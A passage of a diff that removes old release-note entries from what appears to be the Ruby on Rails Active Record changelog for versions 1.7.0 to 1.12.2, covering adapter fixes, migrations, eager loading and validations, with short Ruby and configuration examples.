-* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 [Dan Peterson]
-
-* Added migration support for Oracle #2647 [Michael Schoen]
-
-* Worked around that connection can't be reset if allow_concurrency is off.  #2648 [Michael Schoen <schoenm@earthlink.net>]
-
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 [Ryan Tomayko]
-
-* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
-
-* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 [Tom Ward]
-
-* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility.  #2618 [dansketcher@gmail.com]
-
-* Constraints are cloned so they can't be inadvertently modified while they're
-in effect.  Added :readonly finder constraint.  Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true.  [Jeremy Kemper <rails@bitsweat.net>]
-
-* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson@gmail.com]
-
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [Michael Schoen]
-
-* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
-
-
-*1.12.2* (October 26th, 2005)
-
-* Allow symbols to rename columns when using SQLite adapter. #2531 [Kevin Clark]
-
-* Map Active Record time to SQL TIME.  #2575, #2576 [Robby Russell <robby@planetargon.com>]
-
-* Clarify semantics of ActiveRecord::Base#respond_to?  #2560 [Stefan Kaes]
-
-* Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick@lenz.sh>]
-
-* HABTM finders shouldn't return readonly records.  #2525 [Patrick Lenz <patrick@lenz.sh>]
-
-* Make all tests runnable on their own. #2521. [Blair Zajac <blair@orcaware.com>]
-
-
-*1.12.1* (October 19th, 2005)
-
-* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
-
-* Correct PostgreSQL primary key sequence detection.  #2507 [tmornini@infomania.com]
-
-* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
-
-
-*1.12.0* (October 16th, 2005)
-
-* Update/clean up documentation (rdoc)
-
-* PostgreSQL sequence support.  Use set_sequence_name in your model class to specify its primary key sequence.  #2292 [Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>]
-
-* Change default logging colors to work on both white and black backgrounds. [Sam Stephenson]
-
-* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table.  #1896 [purestorm@ggnore.net]
-
-* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 [Robby Russell <robby@planetargon.com>] 
-
-* Introduce read-only records.  If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save.  object.readonly? reports whether the object is read-only.  Passing :readonly => true to any finder method will mark returned records as read-only.  The :joins option now implies :readonly, so if you use this option, saving the same record will now fail.  Use find_by_sql to work around.
-
-* Avoid memleak in dev mode when using fcgi
-
-* Simplified .clear on active record associations by using the existing delete_records method. #1906 [Caleb <me@cpb.ca>]
-
-* Delegate access to a customized primary key to the conventional id method. #2444. [Blair Zajac <blair@orcaware.com>]
-
-* Fix errors caused by assigning a has-one or belongs-to property to itself
-
-* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped [Sam Stephenson]
-
-* Update DB2 adapter. #2206. [contact@maik-schmidt.de]
-
-* Corrections to SQLServer native data types. #2267.  [rails.20.clarry@spamgourmet.com]
-
-* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
-
-* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. [Blair Zajac <blair@orcaware.com>]
-
-* Misc doc fixes (typos/grammar/etc.). #2430. [coffee2code]
-
-* Add test coverage for content_columns. #2432. [coffee2code]
-
-* Speed up for unthreaded environments. #2431. [Stefan Kaes]
-
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3.  #2426. [Stefan Kaes]
-
-* Speed up the setting of table_name. #2428. [Stefan Kaes]
-
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael@schuerig.de>]
-
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael@schuerig.de>]
-
-* Add geometric type for postgresql adapter. #2233 [Andrew Kaspick]
-
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363  [Chad Fowler <chad@chadfowler.com>, Nicholas Seckar]
-
-* Added :force option to create_table that'll try to drop the table if it already exists before creating
-
-* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. [Nicholas Seckar]
-
-* Use foreign_key inflection uniformly.  #2156 [Blair Zajac <blair@orcaware.com>]
-
-* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys.  #2221 [joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>]
-
-* Returning false from before_destroy should cancel the action.  #1829 [Jeremy Huffman]
-
-* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type.  #2256 [mat <mat@absolight.fr>]
-
-* Extensive documentation for the abstract database adapter.  #2250 [François Beausoleil <fbeausoleil@ftml.net>]
-
-* Clean up Fixtures.reset_sequences for PostgreSQL.  Handle tables with no rows and models with custom primary keys.  #2174, #2183 [jay@jay.fm, Blair Zajac <blair@orcaware.com>]
-
-* Improve error message when nil is assigned to an attr which validates_size_of within a range.  #2022 [Manuel Holtgrewe <purestorm@ggnore.net>]
-
-* Make update_attribute use the same writer method that update_attributes uses.
- #2237 [trevor@protocool.com]
-
-* Make migrations honor table name prefixes and suffixes. #2298 [Jakob Skjerning, Marcel Molina Jr.]
-
-* Correct and optimize PostgreSQL bytea escaping.  #1745, #1837 [dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org]
-
-* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id.  #1749 [chris@chrisbrinker.com]
-
-* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
-
-* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
-
-    ActiveRecord::Base.observers = :cacher, :garbage_collector
-
-* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 [solo@gatelys.com]
-
-* Wrap :conditions in parentheses to prevent problems with OR's #1871 [Jamis Buck]
-
-* Allow the postgresql adapter to work with the SchemaDumper. [Jamis Buck]
-
-* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. [Jamis Buck]
-
-* Fixed migrations for Windows when using more than 10 [David Naseby]
-
-* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
-
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Lütke]
-
-* Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
-
-* Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
-
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina Jr.]
-
-* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
-
-* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
-
-* Added better exception error when unknown column types are used with migrations #1814 [François Beausoleil]
-
-* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism@yahoo.com]
-
-* Fixed comparison of Active Record objects so two new objects are not equal #2099 [deberg]
-
-* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 [Tom Ward]
-
-* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 [coffee2code]
-
-* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 [sd@notso.net]
-
-* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
-
-* Make sure the schema_info table is created before querying the current version #1903
-
-* Fixtures ignore table name prefix and suffix #1987 [Jakob Skjerning]
-
-* Add documentation for index_type argument to add_index method for migrations #2005 [Blaine]
-
-* Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
-
-* Make destroy return self #1913 [Sebastian Kanthak]
-
-* Fix typo in validations documentation #1938 [court3nay]
-
-* Make acts_as_list work for insert_at(1) #1966 [hensleyl@papermountain.org]
-
-* Fix typo in count_by_sql documentation #1969 [Alexey Verkhovsky]
-
-* Allow add_column and create_table to specify NOT NULL #1712 [emptysands@gmail.com]
-
-* Fix create_table so that id column is implicitly added [Rick Olson]
-
-* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
-
-* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
-
-* Fixed the handling of camelCase columns names in Oracle #1798
-
-* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
-
-* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
-
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Lütke]
-
-    class Comment < AR:B
-      def self.search(q)
-        find(:all, :conditions => ["body = ?", q])
-      end
-    end 
-
-    class Post < AR:B
-      has_many :comments
-    end
-
-    Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
-
-  NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
-  by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
-  details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
-  noticed :)
-
-* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 [Sam Stephenson]
-
-* Remove extra definition of supports_migrations? from abstract_adaptor.rb [Nicholas Seckar]
-
-* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
-
-* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 [Maik Schmidt]
-
-* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 [Stefan Kaes]
-
-
-*1.11.1* (11 July, 2005)
-
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olson]
-
-* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler@kianta.com]
-
-* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
-
-* Correct reflected table name for singular associations.  #1688 [court3nay]
-
-* Fixed optimistic locking with SQL Server #1660 [tom@popdog.net]
-
-* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
-
-* Added better error message for "packets out of order" #1630 [court3nay]
-
-* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
-
-
-*1.11.0* (6 July, 2005)
-
-* Fixed that Yaml error message in fixtures hid the real error #1623 [Nicholas Seckar]
-
-* Changed logging of SQL statements to use the DEBUG level instead of INFO
-
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
-
-* Added callback hooks to association collections #1549 [Florian Weber]. Example:
-
-    class Project
-      has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
-
-      def evaluate_velocity(developer)
-        ...
-      end
-    end 
-
-  ..raising an exception will cause the object not to be added (or removed, with before_remove).
-
-
-* Fixed Base.content_columns call for SQL Server adapter #1450 [DeLynn Berry]
-
-* Fixed Base#write_attribute to work with both symbols and strings #1190 [Paul Legato]
-
-* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 [Florian Weber]
-
-* Speed up ActiveRecord#method_missing for the common case (read_attribute).
-
-* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [Stefan Kaes]
-
-* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
-
-* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel@onemail.at]
-
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [Michael Schuerig]
-
-* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
-
-* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 [Mark Imbriaco/DeLynn Berry]
-
-* Fixed that multiparameter posts ignored attr_protected #1532 [alec+rails@veryclever.net]
-
-* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 [flash@vanklinkenbergsoftware.nl]
-
-* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
-
-    Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
-
-  ...should instead be:
-
-    Developer.find(
-      :all, 
-      :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id', 
-      :conditions => 'project_id=1'
-    )    
-
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina Jr.]
-
-* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
-
-* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
-
-* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 [Alisdair McDiarmid]
-
-* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
-
-* Allow any Enumerable, not just Array, to work as bind variables #1344 [Jeremy Kemper]
-
-* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
-  Example:
-
-    david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
-    david.save
-
-  If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
-  project is saved when david.save is called.
-
-  Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
-
-    david.project_ids = [1, 5, 7]
-
-* Corrected typo in find SQL for has_and_belongs_to_many.  #1312 [ben@bensinclair.com]
-
-* Fixed sanitized conditions for has_many finder method.  #1281 [jackc@hylesanderson.com, pragdave, Tobias Lütke]
-
-* Comprehensive PostgreSQL schema support.  Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables.  This allows you, for example, to have tables in a shared schema without having to use a custom table name.  See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more.  #827 [dave@cherryville.org]
-
-* Corrected @@configurations typo #1410 [david@ruppconsulting.com]
-
-* Return PostgreSQL columns in the order they were declared #1374 [perlguy@gmail.com]
-
-* Allow before/after update hooks to work on models using optimistic locking 
-
-* Eager loading of dependent has_one associations won't delete the association #1212
-
-* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
-
-* Using transactional fixtures now causes the data to be loaded only once.
-
-* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
-
-    fixtures :web_sites
-
-    def test_something
-      assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
-    end
-
-* Added DoubleRenderError exception that'll be raised if render* is called twice #518 [Nicholas Seckar]
-
-* Fixed exceptions occuring after render has been called #1096 [Nicholas Seckar]
-
-* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make "  " fail the validation where it didn't before #1309
-
-* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
-
-* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
-
-  Conditional validations such as the following are made possible:
-    validates_numericality_of :income, :if => :employed?
-
-  Conditional validations can also solve the salted login generator problem:
-    validates_confirmation_of :password, :if => :new_password?
-
-  Using blocks:
-    validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
-
-* Fixed use of construct_finder_sql when using :join #1288 [dwlt@dwlt.net]
-
-* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 [Rick Olson]
-
-* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 [Jeremy Kemper]
-
-* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
-
-* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
-
-* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
-
-    # SELECT * FROM topics WHERE title IN ('First', 'Second')
-    Topic.find_all_by_title(["First", "Second"])
-
-* Added compatibility with camelCase column names for dynamic finders #533 [Dee Zsombor]
-
-* Fixed extraneous comma in count() function that made it not work with joins #1156 [Jarkko Laine/Dee Zsombor]
-
-* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
-
-* Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny@mac.com]
-
-* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
-
-    development:
-      adapter: postgresql
-      database: rails_development
-      host: localhost
-      username: postgres
-      password:
-      encoding: UTF8
-      min_messages: ERROR
-
-* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 [Jamis Buck]
-
-* Added validates_exclusion_of as a negative of validates_inclusion_of
-
-* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
-
-
-*1.10.1* (20th April, 2005)
-
-* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
-
-* Fixed order of loading in eager associations
-
-* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
-
-
-*1.10.0* (19th April, 2005)
-
-* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
-
-    for post in Post.find(:all, :limit => 100)
-      puts "Post:            " + post.title
-      puts "Written by:      " + post.author.name
-      puts "Last comment on: " + post.comments.first.created_on
-    end
-
-  This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
-
-    for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
-
-  ...and the number of database queries needed is now 1.
-
-* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
-
-    Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
-    Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
-    Person.find(:first, :order => "created_on DESC", :offset => 5)
-    Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
-    Person.find(:all, :offset => 10, :limit => 10)
-
-* Added acts_as_nested_set #1000 [wschenk]. Introduction:
-
-    This acts provides Nested Set functionality.  Nested Set is similiar to Tree, but with
-    the added feature that you can select the children and all of it's descendants with
-    a single query.  A good use case for this is a threaded post system, where you want
-    to display every reply to a comment without multiple selects.
-
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [Dave Thomas]
-
-* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1@gmail.com]
-
-* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 [andrew.john.peters@gmail.com]
-
-* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 [stephenh@chase3000.com]
-
-* Fixed page caching for non-vhost applications living underneath the root #1004 [Ben Schumacher]
-
-* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 [adelle]
-
-* Added the option to specify the acceptance string in validates_acceptance_of #1106 [caleb@aei-tech.com]
-
-* Added insert_at(position) to acts_as_list #1083 [DeLynnB]
-
-* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
-
-* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 [yon@milliped.com]
-
-* Fixed boolean saving on Oracle #1093 [mparrish@pearware.org]
-
-* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
-
-* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 [Leon Bredt]
-
-* Added quoting of column names for fixtures #997 [jcfischer@gmail.com]
-
-* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
-
-* Fixed that benchmarking times for rendering included db runtimes #987 [Stefan Kaes]
-
-* Fixed boolean queries for t/f fields in PostgreSQL #995 [dave@cherryville.org]
-
-* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 [Jeremy Kemper]
-
-* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave@cherryville.org]
-
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [Stefan Kaes]
-
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [Stefan Kaes]
-
-* Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
-
-* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
-
-
-*1.9.1* (27th March, 2005)
-
-* Fixed that Active Record objects with float attribute could not be cloned #808
-
-* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 [Nicholas Seckar]
-
-* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
-
-* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 [Scott Barron]
-
-* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 [delynnb]
-
-
-*1.9.0* (22th March, 2005)
-
-* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
-
-    Developer.find_all nil, 'id ASC', 5      # return the first five developers 
-    Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
-
-  This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged. 
-
-* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 [Nicholas Seckar/Sam Stephenson]
-
-* Improved the performance of the OCI8 adapter for Oracle #723 [pilx/gjenkins]
-
-* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 [dave@cherryville.org]
-
-* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 [mindel]
-
-* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 [Alisdair McDiarmid]
-
-* Added the possibility of specifying fixtures in multiple calls #816 [kim@tinker.com]
-
-* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 [stian@grytoyr.net]
-
-* Added optionally allow for nil or empty strings with validates_numericality_of #801 [Sebastian Kanthak]
-
-* Fixed problem with using slashes in validates_format_of regular expressions #801 [Sebastian Kanthak]
-
-* Fixed that SQLite3 exceptions are caught and reported properly #823 [yerejm]
-
-* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
-
-* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
-
-
-*1.8.0* (7th March, 2005)
-
-* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
-
-* Added support for timestamp with time zone in PostgreSQL #560 [Scott Barron]
-
-* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
-
-   * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the 
-     +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+ 
-     objects that should be inspected to determine which attributes triggered the errors.
-   * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
-     You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-
-* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 [rodrigo k]
-
-* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 [Jeremy Kemper]
-
-* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
-
-    class Account < ActiveRecord::Base
-      has_one :credit_card, :dependent => true
-    end
-    class CreditCard < ActiveRecord::Base
-      belongs_to :account
-    end
-
-    account.credit_card # => returns existing credit card, lets say id = 12
-    account.credit_card = CreditCard.create("number" => "123")
-    account.save # => CC with id = 12 is destroyed
-
-
-* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
-
-    Validates whether the value of the specified attribute is numeric by trying to convert it to
-    a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
-    <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
-
-      class Person < ActiveRecord::Base
-        validates_numericality_of :value, :on => :create
-      end
-
-    Configuration options:
-    * <tt>message</tt> - A custom error message (default is: "is not a number")
-    * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
-    * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
-
-
-* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 [Scott Barron]
-
-* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
-
-* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 [james@slashetc.com]
-
-
-*1.7.0* (24th February, 2005)
-
-* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 [Jamis Buck]
-
-* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
-
-    1.  Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
-        and safe way of passing table-specific sequence information to the adapter.)
-    2.  Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
-        resort to some hacks to get data converted to Date or Time in Ruby.
-        If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
-        hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
-        This is nasty - but if you use Duck Typing you'll probably not care very much.
-        In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
-        valid - too many databases use DATE for both.
-        Timezones and sub-second precision on timestamps are not supported.
-    3.  Default values that are functions (such as "SYSDATE") are not supported. This is a
-        restriction of the way active record supports default values.
-    4.  Referential integrity constraints are not fully supported. Under at least
-        some circumstances, active record appears to delete parent and child records out of
-        sequence and out of transaction scope. (Or this may just be a problem of test setup.)
-
-  The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
-
-* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 [YuriSchimke]
-
-* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 [yerejm]
-
-* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 [tonka]
-
-* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 [Nicholas Seckar]
-
-* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 [daniel@nightrunner.com]
-
-* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 [adelle@bullet.net.au]
-
-* Fixed that find_by_* would fail when column names had numbers #670 [demetrius]
-
-* Fixed the SQL Server adapter on a bunch of issues #667 [DeLynn]
-
-    1. Created a new columns method that is much cleaner. 
-    2. Corrected a problem with the select and select_all methods 
-       that didn't account for the LIMIT clause being passed into raw SQL statements. 
-    3. Implemented the string_to_time method in order to create proper instances of the time class. 
-    4. Added logic to the simplified_type method that allows the database to specify the scale of float data. 
-    5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
-
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow]
-
-* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
-
-    class Person < ActiveRecord::Base
-      validates_each :first_name, :last_name do |record, attr|
-        record.errors.add attr, 'starts with z.' if attr[0] == ?z
-      end
-    end
-
